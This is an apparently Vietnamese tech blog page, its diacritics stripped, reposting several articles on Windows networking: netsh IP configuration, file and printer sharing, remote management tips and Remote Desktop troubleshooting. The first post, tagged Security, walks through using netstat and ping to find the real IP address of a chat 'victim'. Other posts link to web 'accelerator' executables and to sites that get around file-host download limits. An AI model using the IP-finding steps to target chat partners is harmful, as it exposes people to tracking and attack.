Bi vit t cd hacker mnh share cng cc bn Rt mong s gp ca cc bn Bn phi chat vi Victim d c s thit lp IP. Ni chung l gi Online Connect vi Victim. Hng dn ly IP ca victim khi cht Bn phi chat vi Victim d c s thit lp IP. Ni chung l gi Online Connect vi Victim. M mt ca s DOS prompt Vo C:g lnh sau: netstat -a C:\b netstat -a Lc d trn mn hnh s xut hin 1 s thng tin c dng nhu sau: Active Connections Proto Local Address Foreign Address State TCP franck-a:0 0.0.0.0:0 LiSTENiNG TCP franck-a:1091 0.0.0.0:0 LiSTENiNG TCP franck-a:1090 server5.syd.www.ozemail.net:80 CLOSE_WAiT TCP franck-a:1099 p3-max35.auck.ihug.co.nz:1054 ESTABLiSHED Chng ta ch ch nhng dng no c ch ESTABLiSHED, d l thng bo cho s ni kt d duc thit lp vi bn ngoi. Nu chng ta chat vi nhiu ngui, chat bng c Yahoo Messenger na th s c nhiu ESTABLiSHED, do vy chng cn ch v phn bit xem ai mi thc s l Victim ca mnh. Vi v d trn ta thy p3-max35.auck.ihug.co.nz:1054 ESTABLiSHED l dng ch v quan tm c. Cn nu test trn my bn th n s khc di nhung ta ch cn quan tm dn dng tuong t nhu vy v c ESTABLiSHED l duc Vic tip theo ca chng ta l Ping Victim ny d ly duc IP tht ca h. Cung ca s DOS prompt ny, ta g lnh Ping p3-max35.auck.ihug.co.nz :1054 ESTABLiSHED == chng ta khng quan tm ci ny nn khng cn thm vo sau lnh Ping c:p3-max35.auck.ihug.co.nz Wow, tht l tuyt, ti dy ta d thy duc IP tht ca Victim ri. Pinging p3-max35.auck.ihug.co.nz [209.76.151.67] with 32 bytes of data: Reply from 209.76.151.67: bytes=32 time=1281ms TTL=39
Request timed out. Reply from 209.76.151.67: bytes=32 time=1185ms TTL=39 Request timed out.
Ping statistics for 209.76.151.67: Packets: Sent = 4, Received = 2, Lost = 2 (50% loss), Approximate round trIP times in milli-seconds: Minimum = 1185ms, Maximum = 1281ms, Average = 616ms 209.76.151.67 chnh l IP m chng ta cn tm ca Victim dy. Chc cc bn thnh cng Cch ny mnh test th v pht hin rt tt IP ca victim Bn nh khi cht vi victim nn ng tt cc ca s khc li,nh vy s chnh xc hn trojan http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=122&IDD=592 c ng bi haodalat ti 9:57 CH 0 nhn xet Nhan: Security
Nhng phn mm gip lt web nhanh
Khi lm vic hay gii tr trn mng chc hn ai cng mun my tnh ca mnh c th lt web, gi mail hay thm ch l chi game online nhanh hn. Nm bt c iu ny nhiu hng sn xut phn mm my tnh a ra nhng "cng c" lt web nhanh 1. TrafficCompressor: Khi bn m mt trang web hay nhn mt l th vi phn mm ny d liu s khng chuyn trc tip t server ca trang web hay e-mail ny n my tnh, m chuyn ti thng qua mt trong nhng server ca TC nm trn nhng mng li internet tc cao t ti mt s nc. Sau server ny s nn nh d liu v gi n my tnh ca bn qua kt ni ang s dng nh dial-up, ADSL hay cable modem. Kt qu t c l lu lng d liu phi truyn ti s gim xung ch cn t 40 - 60%; v th tc lt web, nh km tp tin theo th ca bn s nhanh hn trc kh nhiu. Bn c th ti phn mm ny ti a ch:www.tcompressor.com/Download/TrafficCompressorSetup.exe 2. Flash Speed 200%: Cng c tng tc lt web ny c cho l c kh nng gia tng tc truy cp mng nhanh ti a n... 200%. Bn c th ti bn ny ti a ch:http://download.excellencesoft.com/FlashSpeed.exe
3. IE Accelerator: y l phn mm chuyn dng cho trnh duyt Internet Explorer. Bn ch cn chn kiu truy cp mng ca my tnh mi tn tr xung nm gc phi pha trn giao din v nhn vo nt "Accelerate" l tc lt web bng Internet Explorer s tng ln ng k. a ch dowload: http://www.qwerks.com/download/6494/ieaccelerator.exe Ngun trch : vtv http://www.sanitc.com/itc/NewDetail.asp?ID=54&IDL=147&IDD=1064 c ng bi haodalat ti 9:42 CH 0 nhn xet Nhan: C TH BN CHA BIT, Internet
Hai trang web cho download min ph t Rapidshare v Megaupload
Hin c nhiu trang Rapidleech cho php ngi dng download file t rapidshare.com v megaupload.com, nhng im hn ch ca cc trang ny l bn phi canh ng thi im leech cho php ti mi c th download file v my. iu ny thc s l mt cn tr i vi nhng ngi c lch lm vic dy kn hoc ph thuc vo qu nhiu ngi khc. y cng l mt trong nhng l do chnh, khin hai trang web mi c gii thiu di y ra i, cho download v chia s file min ph. 1.NBE-MEDIA a ch: http://nbe-media.com Sau khi ng k mt ti khon ti trang http://www.nbe-media.com, bn ng nhp vo trang web v chn Premium Download RS and MU. Ti khung Enter a URL, bn nhp link Megaupload hay Rapidshare ri chn Download. Sau trang web s a tn file v link download. Bn ch vic nhp chut ti v. Tuy nhin, bn cng nn tham kho mt s quyn li m bn c hng khi l thnh vin ca NBE-Media nh sau: - Download bt c lc no bn mun (24/24 gi). - Gii hn file ti a cho mt ln download l 100 MB cho rapidshare.com v 100 MB cho megaupload.com. - Tng dung lng cho php download ti rapidshare.com l 400 MB/ngy, cn megaupload.com th khng gii hn. http://www.sanitc.com/itc/NewDetail.asp?ID=54&IDL=147&IDD=1074 - File bn download s c lu gi trn server trong 60 pht. 2. NBE-BROADCAST
a ch: http://nbe-broadcast.com Ti y bn cng phi ng k mt ti khon, cch s dng ging nh trn v bn s c hng cc quyn li sau: Download trong khong thi gian t 6 gi n 23 gi. Gii hn file ti a cho mt ln download l 100 MB cho rapidshare.com v 100 MB cho megaupload.com. Tng dung lng cho php download ti rapidshare.com l 300 MB/ngy, cn megaupload.com th khng gii hn. File bn download s c lu gi trn server trong 60 pht. * Lu : C nhng lc bn khng vo c hoc vo chm cc trang web ny l do s lng truy cp qu ng. Vi th thut nh ny, bn c th vo d dng hn. Bn hy thm mt ch s pha sau ch http trn thanh a ch. V d: https://nbe-broadcast.com. (Theo NL) c ng bi haodalat ti 9:35 CH 0 nhn xet Nhan: CachDownload Rapidshare-Megaupload
Cu hnh a ch mng IP bng cu lnh MS-DOS
Thng thng cu hnh v t a ch IP cho cc my trong mng bn ch cn cu hnh trong Network Connections v thit lp a ch IP trong giao thc TCP/IP bng giao din Windows. Nay chng ti gii thiu thm mt phng php cu hnh a ch IP s dng cu lnh Command line i khi cch ny s c dng trong cc trng hp cn thit cu hnh a ch IP, DNS, WIN bng command line. Cc bn thc hin cc bc sau: Vo ca s command prompt ( Run--> g cmd i vi Windows 2000,Xp,2003 hoc g command i vi Windwos 98, Me) g lnh: netsh interface IP <--Set IP Address-- > set address name= ``Local Area Connection`` source=dhcp set address local static vidu: set address name= ``Local Area Connection`` source=dhcp
set address local static 192.168.1.2 255.255.255.0 <--Set Preferred DNS Server -- > set dns name= ``Local Area Connection`` source=dhcp set DNS Local Area Connection`` static vidu: set dns name= ``Local Area Connection`` source=dhcp set DNS ``Local Area Connection`` static 192.168.1.1 <--Set WINS address-- > set wins name= ``Local Area Connection`` source=dhcp set wins Local Area Connection`` static vidu: set wins name= ``Local Area Connection`` source=dhcp set wins ``Local Area Connection`` static 192.168.1.1 <--De thoat khoi chuong trinh--- > Exit Ngoi cc cu hnh c bn trn bn c th tham kho thm cc tnh nng sau (Bng ting Anh) Commands inherited from the netsh context: .. - Goes up one context level. abort - Discards changes made while in offline mode. add - Adds a configuration entry to a list of entries. alias - Adds an alias. bridge - Changes to the `netsh bridge' context. bye - Exits the program. commit - Commits changes made while in offline mode. delete - Deletes a configuration entry from a list of entries. diag - Changes to the `netsh diag' context. exit - Exits the program. interface - Changes to the `netsh interface' context. offline - Sets the current mode to offline. online - Sets the current mode to online. popd - Pops a context from the stack. pushd - Pushes current context on stack. quit - Exits the program. ras - Changes to the `netsh ras' context. routing - Changes to the `netsh routing' context. set - Updates configuration settings.
show - Displays information. unalias - Deletes an alias. wins - Changes to the `netsh wins' context. Commands inherited from the netsh interface context: add - Adds a configuration entry to a table. delete - Deletes a configuration entry from a table. ip - Changes to the `netsh interface ip' context. reset - Resets information. set - Sets configuration information. show - Displays information. Commands in this context: ? - Displays a list of commands. add - Adds a configuration entry to a table. delete - Deletes a configuration entry from a table. dump - Displays a configuration script. help - Displays a list of commands. reset - Resets TCP/IP and related components to a clean state. set - Sets configuration information. show - Displays information. Khi bn gp cc cu lnh kh m cn thit s tr gip vui lng g du hi (?) hoc g (?/) cc cu lnh cn thit s c hin nn v bn c th lm theo cc tr gip http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1166 c ng bi haodalat ti 9:19 CH 0 nhn xet Nhan: cmd, co ban ve Mang may tinh, TH THUT IT
Cu hnh a ch mng IP bng cu lnh MS-DOS

Chia s cc th mc v my in trong mng
Sau khi bn thit k c mt mng my tnh cho ring mnh, bn c th chia s cc file v my in gia cc my tnh vi nhau. Trong hng dn ny chng ti s gii thiu cho cc bn cch thc hin thao tc nh vy. Chng ta gi d rng bn bit cch thit lp mt mng. Cn trong trng hp bn cha bit cch thit lp mng, hy tham kho hng dn ca chng ti v cch thit k mt mng bng router bng thng rng nh th no. Trong bi vit chng ti cng gii thch v cch chia s kt ni Internet ca bn nh th no. Trc khi tip tc, bn phi ch ti cch m mng c thit lp. S dng router bng thng rng l cch c a thch nht v n lm vic nh mt tng la phn cng v c kh nng ngn chn khng cho truy cp vo
cc file t bn ngoi Internet. Nu bn thit lp mng theo cch ny, xin mi vo thng vn m chng ti s gii thiu trong bi ny l cch chia s file v my in. Tuy vy, nu bn khng s dng router th cn phi cn thn khi chia s cc th mc. Ph thuc vo cch thit lp mng my tnh nh th no m ngi bn ngoi mng c th truy cp vo cc file cng khc nhau. Chng ti s gii thch v cch bo v my tnh chng li cc mi nguy him trong mt bi khc, chnh v vy nu bn khng s dng router bng thng rng th hy n c hng dn ny bit cch phng chng khng cho ngi bn ngoi c th truy cp vo cc file ca bn. Vy quay li vn chia s l g? N chnh l kh nng mi ngi cc my tnh khc bn trong mng c th truy cp vo ti nguyn nm bn trong my, ti nguyn ny chnh l cc file hay my in. Tt c cc hng dn ca bi u da trn Windows XP. Cch chia s file v my in lm vic trn cc phin bn Windows trc cng tng t nh vy, tuy nhin tn chnh xc ca cc tu chn c th khc i cht. Cho php chia s Th u tin m bn cn thc hin trn my tnh mun cho php chia s file v my in l kim tra xem dch v chia s c ci t hay cha. Hy vo Start > Setting > Network Connections v kch p vo card mng ci t trn my tnh. Hnh 1: Kch p vo card mng ci t trn my tnh Trn ca s xut hin, bn kch Properties. Hnh 2: Kch vo Properties Trong mn hnh tip theo, bn nn kim tra xem tu chn File and Printer Sharing for Microsoft Networks c kch hot hay cha, xem trong hnh 3. Hnh 3: Kim tra xem dch v chia s file v my in c ci t cha Nu dch v ny cha c ci t th bn cn phi kch vo Install > Service > Add > chn File and Printer Sharing for Microsoft Networks, sau l OK. Khi ci t xong dch v ny, bn hon ton c kh nng chia s cc file
v my in. Lu rng dch v ny khng yu cu trn cc my tnh khc m vn c th truy cp file hoc my in nm trong my tnh ca bn. Chia s th mc Bn c th chia s bt c th mc no trn my tnh mi ngi c th truy cp vo tt c cc file nm bn trong n. N c th gm c mt th mc trn cng, mt partition ca ton b a cng, CD-ROM, DVD-ROM, USB flash v thm ch c a mm. Bt c thit b no c nhn din nh mt a bi h iu hnh cng u c th c mang ra chia s. chia s mt th mc hoc a, bn ch cn kch chut phi vo n v chn Sharing and Security. Trong v d ny chng ti s chia s ton b a D:. Nh nhng g chng ti cp, bn hon ton c th ch chia s mt th mc no trong a cng. Hnh 4: Chn Sharing and Security trn th mc m bn mun chia s Trong ca s xut hin, bn hy kch vo If you understand the risk but still want to share the root of the drive, click here. Hnh 5 Trong ca s tip theo, bn cn kim tra Share this folder on the network v t tn cho vic chia s ny trn Share name (trong v d l Shared_Data). chnh l tn th mc chia s t my ca bn m mi my trong mng s nhn thy. Nu bn mun cho php mi ngi sa i cc file, ct v dn file mi vo trong th mc chia s ny th bn ch cn kch hot Allow network users to change my files. Hnh 6: Cho php chia s th mc Nhn OK v th mc chia s s c th truy cp t cc my tnh khc trong mng. By gi, sau khi chia s mt th mc, chng ti s gii thiu cho bn cch truy cp vo n t mt my tnh khc nh th no. Truy cp vo th mc c chia s truy cp vo cc th mc chia s trong mng ca bn, kch vo My Network Places, biu tng nm trn Windows desktop. Kch p vo th mc chia s m bn mun truy cp v cng chnh l tt c nhng g bn
cn phi thc hin. Hnh 7: Lit k cc th mc c chia s trong mng Nu mt th mc no m bn bit c chia s khng lit k trong My Network Places y l mt vn rt hay xy ra, bn hy nhn phm F5 trn bn phm ca mnh. y l phm tt bn thc hin chc nng refresh. Nu th mc chia s m bn mun truy cp vn khng xut hin, hy kch vo Add a network place (mc u tin trn ct bn tri), sau trn ca s xut hin, kch Next > Choose another network location > Next. Trong mn hnh tip theo, bn c th khai thc mng bng cch kch vo Browse. Cch ny s cho php bn tm my tnh v cc th mc chia s mun truy cp. Mc d vy i khi Windows khng lit k my tnh hoc th mc chia s y y. Nu gp phi trng hp ny, bn c th thc hin b sung th mc chia s bng cch nhp vo v tr ca n trong hp ch Internet hoc mng, s dng cu trc \tn_my\tn_th_mc_chia_s. Trong trng hp v d ny, chng ti nhp vo \Gabriel\Shared_Data, v Gabriel l tn my tnh ni th mc chia s nm trong v Shared_Data l t cho th mc chia s. Hy nhn Next kt thc tin ch ny. Hnh 8: Yu cu Windows truy cp vo th mc chia s Tt c cc th mc chia s c sn trong mng u c th truy cp t bt k hp thoi Open/Save/Save As no, thng qua biu tng My Network Places. Chnh v vy bn c th m mt file c lu trong th mc c chia s thng qua mt chng trnh a thch. Bn c th gn mt k t a cho mt th mc chia s. iu ny cho php d dng truy cp vo th mc chia s. V d, thay v duyt thng qua My Network Places, th mc chia s ca bn s c th truy cp bng F:. thc hin iu , m My Computer > Tools > Map Network Drive. Hnh 9: ng dn gn k t a cho th mc chia s Trong mn hnh xut hin, bn c th chn k t a v th mc chia s gn cho k t a . Trong v d ny chng ti gn th mc chia s Shared_Data nh mt a Z:, chnh v vy th mc ny s c th c truy cp bng Z: trn my tnh ca ti. Bn cng c th tick hp kim tra Reconnect at logon nu mun tho thun ny s c thit lp li khi bn khi ng li my tnh.
Hnh 10: Gn k t a cho mt th mc chia s Hnh 11: Th mc chia s c th truy cp bng Z: Nu bn khng mun tip tc thit lp ny trong tng lai, hy kch chut phi vo a trn My Computer v chn Disconnect t menu chut phi. Chia s my in Vic chia s my in cng rt d dng. Bn ch cn vo Start > Settings > Printer and Faxes, kch chut phi vo my in v chn Sharing. Hnh 12: ng dn cho vic chia s my in Trong ca s s xut hin, kim tra Share this printer v nhp vo tn cho my in chia s trong hp Share name. y s l tn ca my in c bit n i vi cc my tnh khc trong mng. Hnh 13: Chia s my in Kch OK v my in s sn sng truy cp bi cc my tnh khc trong mng. Hy xem cch cc my tnh ny c th truy cp vo my in chia s nh th no. Truy cp vo my in chia s in thng qua mt my in nm trn my tnh khc trong mng, trc tin bn cn phi ci t n trn my tnh ca mnh. thc hin vic ny, bn hy vo Start > Settings > Printers and Faxes > Add a printer (mc u tin trong ct bn tri). Kch Next trong mn hnh k tip s xut hin, trn mn hnh th hai bn hy chn A network printer, or a printer attached to another computer. Hnh 14: Ci t my in mng Kch Next v bn s thy c ba tu chn. Chn tu chn u tin Browse for a printer, nh v my in. Sau kch Next. Hnh 15: Ci t my in mng
Trong mn hnh tip theo, bn cn duyt vo mng nh v ti my in mun ci t trn my tnh ca bn. Kch vo Next v tr li Yes khi gp cu hi m tin ch ny s hi. Hnh 16: Ci t my in mng Trong mn hnh tip theo, bn s c hi xem c mun thip lp my in ny nh mt my in mc nh cho my tnh ca bn hay khng. Nu my tnh ca bn khng c my in no khc gn km th nn tr li Yes. Sau kch Next v trong mn hnh tip theo kch Finish. Hnh 17: Chn my in mc nh trn my tnh ny Sau khi thc hin cc bc ny, my in mng s c ci t trn my tnh ca bn. S dng n rt n gin, hon ton ging nh thc hin trn mt my in c ci t trn my tnh, v c th truy cp t tt c cc chng trnh. Hnh 18: My in mng sau khi ci t trong my tnh http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1510 c ng bi haodalat ti 9:15 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
10 vn cn bit trong vic iu khin cc my trm t xa
Nh vo nhiu cng ngh khc nhau m hin nay vic iu khin t xa cc my trm c th tit kim cho bn mt khi lng ln thi gian cng nh tin bc. Sau y l mt s im ch yu gip bn hiu thm v b cng c iu khin t xa v mt s th thut khi s dng chng. #1: Hiu phn cng Bn c th cm thy dng mnh nm rt vng nhng kin thc v thng tin cc my trm nhng c tht s c ng nh vy hay khng? C nhng thng tin cu hnh quyt nh m mt h thng cn phi c iu khin t xa my trm. Xem xt nhng nhn t sau y: * USB 2.0 sn sng trn tt c h thng hay khng? * H thng c DVD hay CD cha? c ghi a c khng? * Bn cu hnh trnh t khi ng nh th no? V phng php thay i cu hnh ra sao? *
Loi kt ni no quay tr li vn phng chnh? Cu tr li cho nhng cu hi nh vy s to ra s khc nhau ln trong nhiu trng hp, bn s cn phi a ra mt nguyn tc iu khin t xa i vi cc my trm. #2: Nhn bit tng la v cu hnh my khch Nu bn bit v tr t nhng tng la my khch, th chc chn s bit hot ng no l c th v khng th thc hin. Xc nh v tr v i tng c th thc hin bt k thao tc no (v cch v hiu ha iu ). V d nh vic c gng a mt tp tin quan trng hay cp nht ng dng t mt c ch t ng cp nht hay t cc ngun khng c tiu chun no khc. #3: Nm r v mng Nhiu doanh nghip ln t ra quy tc trong vic xc nh a im cho cc nh v truy cp t xa t thc hin mi th cn thit, t vic gii hn lu lng vo ra trn mi v tr nhm hn ch s ch tc c th xy ra ti v tr t xa v hn ch a ch MAC c th kt ni ti v tr . Vi s lng ln cc cng vic lin quan n vic qun tr my trm t xa, hy chc chn xy dng chin lc ca bn xung quanh cc m hnh lu thng mng c cho php. ng thi cng hiu cc th tc hay tham s cho php thay i lu lng khi cn. #4: Ghi nh cc cng c dng lnh tit kim thi gian i vi nhng ngi ang gp vn vi cc kt ni bng thng thp, c mt s thao tc qun tr chung c ghi nh t mt dng lnh c th gip tit kim thi gian ca mi ngi. Vi cc h thng Windows XP, cn ghi nh cc lnh sau y: * Compmgmt.msc: snap_in MMC Qun l my tnh, mt trung tm tt ca mi kiu thng tin, bao gm c bn ghi s kin, b qun l thit b v cc dch v. * Ipconfig: Tin ch cu hnh TCP/ IP. Mt s tham s chung bao gm /release, /renew, /flush dns, v /register dns. * Shutdown.exe: cng c khi ng li t xa hay ngng mt h thng. Vi nhng s cho php thch hp, mt h thng cng c th c khi ng li t xa. * Net Use: c dng nh x , xc thc n gin hoc dng vic nh x. #5: Lm cho mi th tp trung v khc bit
Tp hp mi phn t ca c s h tng my trm trong mt v tr v mt thi im. iu cui cng bn phi lo lng l c mt s ln cc tp tin my ch nm ri rc trn h thng doanh nghip. Do phi yu cu ngi dng t xa s dng cc ti nguyn trung tm trong vic lu tr tp tin. Bng cch ny, vic sao lu v chnh sch truy nhp bo mt nht qun s ging nhau gia nhng ngi dng t xa v ngi dng trung tm. Chi ph ca bn cng v th cng thp i nhiu ln v s bo m rng s qun tr v truy nhp c kim sot ti bt k v tr no. Mt ngoi l cn ch l lu lng truy cp mt v tr trung tm t xa ln vi s lng ngi dng ln c th gy ngp lt kt ni. #6: C ch phn phi Internet i vi cc v tr t xa, kt ni trc tip Internet thay v s dng VPN hay kt ni trn vng rng. V d, bn cn trin khai mt gi dch v ln h iu hnh my khch. Nu xem xt n vic ti xung 300 MB ca mt nhm my khch th vic trin khai khng hon ton d dng trn cc kt ni t xa. Nhng cng c qun tr my khch nht nh c th qun l vic phn phi cc gi qua Internet tr gip cc v tr t xa v ngi dng laptop khi ra khi mng trung tm. #7: Sp xp ty chn kt ni lun phin Chng ti u s dng mt cng c cn bn v cng c ny c kh nng a ra 95% vn chng ti gp phi. i vi Windows XP th cng c ny l Remote Desktop. Nhng trong nhng hon cnh c bit bn khng th s dng cng c ny truy cp vo h thng my khch, khi bn s lm g? C nhiu cng c lun phin c sp xp cung cp cho bn quyn truy nhp ti h thng khi cn. Di y l mt s v d: * Dame Ware: Nhng xut ci t v loi b khi s dng u nhim Windows qua kt ni TCP/IP. * VNC: Xu hng my khch truy cp t xa ng tin cy. C th s s dng cho kt ni lun chuyn v bt u dch v VNC khi cn. * LogMeIn.com: Nhng xut ln trong kt ni t Internet ti my khch; Thc hin thng qua a s cc cu hnh u nhim. #8: Bo m nn tng OS vng chc iu khin hiu qu cc my trm t xa m khng tng gim chi ph, th vic my tnh c mt nn tng chc chn l mt th tc bt buc. Nu nh
mt nn tng th hai c a ra, th b cc ca nhm qun tr my trm s thay i. Mi th phi c thc hin mt ln cho mi nn tng. Theo vic c mt kim k phn cng trm tiu chun cng gp phn tng hiu qu cho doanh nghip. #9: Phm vi iu khin y khng phi tht s l mt k thut iu khin nhng i vi nhng trm lm vic t xa, bn phi qun l nh mt qun tr vin. Chng ta ang ni n trng hp bn c cc vn phng t xa vi lng ngi dng nh c cung cp trang thit b chun. Cc thit b ny bao gm cc my trm hay laptop, mt my in laze chia s cho cc h thng ni b, v kt ni mng mi ni. Chc chn mt lc no bn s t t ra cu hi rng "Chng ta c th iu khin my in qut nh hay fax t xa?. y l mt vn au u v nm ngoi phm vi thng thng. Bn mt qun tr vin s khin cho vic h tr cui tr nn kh kim sot v ri xa nh hng ban u l c mt nn tng my tnh nht qun. Vic c th scan v fax khng phi l qu t nhng mt doanh nghip cn phi hiu rng a ra mt chc nng nm ngoi vn thng thng c th gy nh hng cho h thng #10: Tng cng h tr ti ngi dng t xa ng cho ngi dng t xa b thit thi. Chc nng pha cc my trm t xa khc vi ngi dng v tr trung tm. H c th khng c h thng khc vo v s dng, khng c ai sn sng thc hin mt nhim v khn cp no gip h, v c th cc khch hng ang ch h. Ngi dng nhiu a im khc nhau m khng c mt nhn vin CNTT h tr th thc s h s cm thy kh khn v s phi lm vic theo nhiu cch m c th gy nh hng ti ton h thng. Cung cp nhng dch v tt t pha qun tr vin l rt quan trng i thnh cng ca doanh nghip CNTT. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1130 c ng bi haodalat ti 9:14 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Khc phc s c Remote Desktop
T khi Windows XP c pht hnh, mt trong nhng tnh nng c lu tm nht lun l Remote Desktop. Trong trng hp bn cha bit g v Remote Desktop th y l mt tnh nng ca Windows c th cho php kt ni n my tnh ca bn t xa bng giao thc RDP. V d, nu bn ang nh v cn truy cp vo my tnh ti vn phng ca mnh, bn c th s dng tnh nng Remote Desktop truy cp t xa vo my tnh ti vn phng t nh. Remote Desktop c xy dng trn cng mt cng ngh v s dng cng cc giao thc vi Windows Terminal Services.
Trong cc phin lm vic i khi c mt s th din ra khng nh mong mun hay c th ni l sai trong sut qu trnh kt ni v chng thc. Trong bi ny, chng ti s gii thiu cho cc bn mt s k thut khc phc s c khc nhau c th s dng khi gp vn no vi Remote Desktop. Khng tm thy my tnh t xa C th vn chung nht i vi cc my tnh t xa Remote Desktop l vn nh v. C mt s l do gy ra vn ny. i khi nguyn nhn n gin nht l li chnh t vi tn ca my tnh iu khin xa. V vy nu gp phi vn kt ni vi my tnh iu khin xa, hy kim tra li tn ca my tnh iu khin xa ny. Nu tn ca n c xc nhn l ng th vn c th lin quan n DNS. Remote Desktop s dng giao thc RDP, giao thc nm trn ca giao thc TCP/IP. Mt s bn c th bit iu ny, TCP/IP khng s dng tn my tnh l mt c ch cho vic nhn dng cc h thng. Ch c mt l do c th thm nh tn ca my tnh l v my ch DNS x l tn my tnh theo mt a ch IP. Nu bn thy c vn no lin quan n tn th c mt s th c th th y. Mt cch bn c th thc hin l s dng tn min y ca h thng iu khin xa tng phn vi tn NetBIOS ca n. Cch ny s khng lun lun gip bn c th thit lp c kt ni nhng trong mt s tnh hung no n s gip c bn. Mt cch na ch nh a ch IP ca my iu khin xa c s dng kh nhiu l tn ca n. Ni chung, vic s dng a ch IP thng thin v xu hng kh gii quyt hn nhiu so vi s dng tn host khi kt ni. Thm ch cc a ch IP cn c th l kh hiu. H s ln nht thin v xu hng to s kh gii quyt cc a ch IP trong vic kt ni l s dng cc a ch IP ng. Nu bn ang s dng Remote Desktop kt ni n mt my ch th vn ny c th s khng sao v hu ht cc my ch s dng a ch IP tnh. Tuy nhin i vi cc my trm th hu ht s dng a ch IP ng nn a ch IP m my trm ca bn ang s dng hm nay c th c gn cho mt my trm khc vo hm sau. Nu my tnh bn ang kt ni n s dng a ch IP ng th bn khng c s la chn no ch nh tn host. Mt h s na c th lm cho n tr nn kh khn khi kt ni n mt my ch bng remote desktop l tng la. Remote Desktop Protocol c thit k lm vic quan cng TCP 3389. Nu bn thc hin kt ni n mt my tnh t xa c thit lp pha sau tng la th tng la phi cho php lu lng truyn qua cng TCP 3389. R rng vic m m mm cng ny trn tng la ca bn c th gy ra ri ro ln v bo mt. Bn c th chn n thay v kch chuyn tip cng lu lng RDP i vo c chuyn tip n mt a ch IP no m khng c ai bn ngoi c th thc hin mt kt ni RDP n bt k my tnh no trn mng ca bn. Trn nhiu mng, bn s khng th chn c nn s dng cng no chuyn tip lu lng RDP. a s cc mng s dng a ch IP ring trn
mng ca h, v ch c router mi s dng a ch IP cng. Router s dng Network Address Translation (NAT) i vi lu lng proxy gia Internet v cc host trn mng ring. Nu bn mun thit lp mt kt ni RDP t Internet vi mt host pha sau NAT firewall, th phi cu hnh tng la chuyn tip lu lng RDP n host mc tiu. R rng iu ny tha nhn rng bn mun thit lp mt kt ni trc tip t bn ngoi mt mng vnh ai. Nu bn mun kt ni n mt mng ring bng kt ni VNP hoc dial up th cn quan tm n vic cu hnh NAT firewall, v kt ni VPN hay dial-up cung cp cho bn kt ni n mt mng ring. My ch truy cp t xa c s dng cho vic thit lp cc kt ni VPN hoc dial up thng lun nm sau tng la, v bn s phi bo m rng tng la ny cho php lu lng RDP truyn n mng ring. Khi quan tm n vn cc tng la, ti cng lu rng c Windows XP SP2 v Windows Vista u c tng la i km. Nu bn mun thit lp kt ni n my tnh ang chy mt trong nhng h iu hnh khc th phi bo m rng tng la Windows phi c cu hnh cho php lu lng RDP. Cc vn chng thc Vic thit lp kt ni ban u i xa hn kha cnh kh hiu nht ca Remote Desktop, nhng c nhiu vn khc m bn c th gp bt thnh lnh. Nhiu ngi dng b ngc nhin khi thy rng h c th tn cng mt PC t xa no , v nhp vo cc thng tin quan trng ca h, nhng b ngn chn bi mt thng bo li sau: The local policy of the system does not permit you to log on interactively. Chnh sch cc b ca h thng khng cho php bn ng nhp Website hin th thng bo li ny nu ngi dng, ngi ang ng nhp thiu nhng iu khon cn thit cho vic ng nhp bng giao thc Remote Desktop. Bn c th sa vn ny bng cch b sung thm mt ti khon ngi dng vo nhm Remote Desktop Users hoc vo nhm qun tr vin ni b. M ha d liu Mt trong nhng vn kh hiu nht vi Remote Desktop lin quan n vic nhn thng bo li di y: Because of an error in data encryption, this session will end. Please try connecting to the remote computer again. Do mt li trong m ha d liu nn session ny s b dng y. Mi bn th kt ni vo my tnh t xa mt ln na.
Thng bo li ny thng lin quan n vic s dng my khch remote desktop hoc dch v u cui qu hn. Khi Microsoft pht hnh Windows 2000, chng to mt add-on c tn gi l Administration Tool Pack. Administration Tool Pack gm mt thnh phn client c th c s dng thit lp mt session t xa. Client ny xut hin ngay t ban u tng thch vi Windows XP. S dng Administration Tool Pack ca phin bn Windows 2000 thit lp mt session Remote Desktop vi Windows XP s kch hot c thng bo li m ti cp trn. Bn c th s dng chnh Remote Desktop client ca Windows XP thit lp mt kt ni vi cc my tnh khc ang chy Windows XP. Nu thch s dng Administration Tool Pack th bn lun c th s dng phin bn nng cp cho Windows Server 2003 ti http://support.microsoft.com/kb/304718. Kt lun Mc d Remote Desktop lun lm vic kh tt nhng i khi vn kh trong vic thit lp mt kt ni ban u. Trong bi ny, chng ti gii thiu cho cc bn mt s nguyn nhn chung ca cc vn Remote Desktop v mt s vn xung quanh c lin quan n n. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1131 c ng bi haodalat ti 9:01 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK, RemoteDesktop
Truy cp my tnh ca bn mi ni
Truy cp my tnh ca bn mi ni Vi cc fan my tnh th c l khng g l tng hn l bt c u bn cng c th lm vic vi chic my tnh ca mnh. c nh vy th d v tm, ng tr th no bn cng khng bao gi ri vo tnh cnh d khc d ci, nh khi n c quan ri mi nh ra l qun chp theo cng vic ang lm d dang ti nh. Gp khch hng u bn cng c th gii thiu ngay phn mm ang chy trn my tnh vn phng ca mnh m khng phi ci t g trn my tnh ca h v.v... Nu cch y
TI THIU HA NG TC CHUT
i vi mt ngi ang vi th mi thao tc chut khng cn thit u thm bn bu. Windows 2000, Me, v XP u cho php thit lp mt con tr c th t ng di chuyn n cc nt hay dng trong cc hp thoi. Bn nhn Start.Settings.Control Panel (hoc Start.Control Panel trong XP), v nhn hoc nhn p Mouse (chn Printers and Other Hardware trc nu bn ang ch xem Categories ca XP, hoc chn View all Control Panel options trc nu bn ang ch xem 'commonly used' ca Me). n y bn chn Pointer Options, nh du chn ln c nhn Automatically move printer to the default button in a dialog box (dng ghi ch ca ty chn ny c thay i cht t trong Windows 2000), v nhn OK.
